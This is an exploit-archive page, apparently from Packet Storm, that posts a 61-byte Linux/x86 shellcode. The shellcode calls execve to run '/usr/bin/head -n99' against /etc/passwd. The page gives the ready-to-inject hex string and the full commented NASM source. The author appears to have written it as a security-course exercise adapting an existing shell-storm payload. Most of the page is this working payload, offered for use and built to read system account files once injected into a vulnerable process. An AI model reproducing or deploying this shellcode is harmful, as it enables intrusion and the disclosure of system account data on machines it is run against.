what you don't know can hurt you

Linux/x86 /usr/bin/head -n99 cat etc/passwd Shellcode

Linux/x86 /usr/bin/head -n99 cat etc/passwd Shellcode
Posted Dec 5, 2018
Authored by Nelis

61 bytes small Linux/x86 /usr/bin/head -n99 cat etc/passwd shellcode.

tags | x86, shellcode
systems | linux
MD5 | 2fbbef5bdb2a35867aacd529a1fda03c

Linux/x86 /usr/bin/head -n99 cat etc/passwd Shellcode

Change Mirror Download
; Exploit Title: /usr/bin/head -n99 cat etc/passwd (poly shellcode-571.php)
; Date: November 29th, 2018
; Exploit Author: Nelis
; Version: 0.2
; Tested on: Ubuntu 12.10
; Filename: headpass.nasm
; SLAE-ID: 1327
; Based on: http://shell-storm.org/shellcode/files/shellcode-571.php

; Shellcode:"\x29\xc0\x50\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe6\x50\x68\x2d\x6e\x39\x39\x89\xe7\x50\x68\x68\x65\x61\x64\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x68\x2f\x75\x73\x72\x89\xe3\x50\x57\x56\x53\xb0\x0b\x89\xe1\xcd\x80"



global _start

section .text
_start:

sub eax, eax ; changed from xor eax, eax

push eax ; put 0-term on stack
push dword 0x64777373 ; dwss
push dword 0x61702f63 ; ap/c
push dword 0x74652f2f ; te//
mov esi, esp ; save addr of stack into esi

push eax
push dword 0x39396e2d ; 99n-
mov edi, esp ; save addr of stack into edi

push eax
push dword 0x64616568 ; daeh
push dword 0x2f6e6962 ; /nib
push dword 0x2f2f2f2f ; ////
push dword 0x7273752f ; rsu/ changed from cat to head command
mov ebx,esp ; unchanged (save addr of stack into into ebx)

; mov edx, eax ; set edx to NULL / not already 0x0 / keeping it here in case you encouter issues with it
push eax ; 0-term on stack
push edi ; added for args
push esi ; added for args
push ebx ; pointer to /user////bin/head

mov al, 0xb ; set syscall execve
mov ecx,esp ; move stack pointer into ecx
int 0x80 ; make syscall


Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close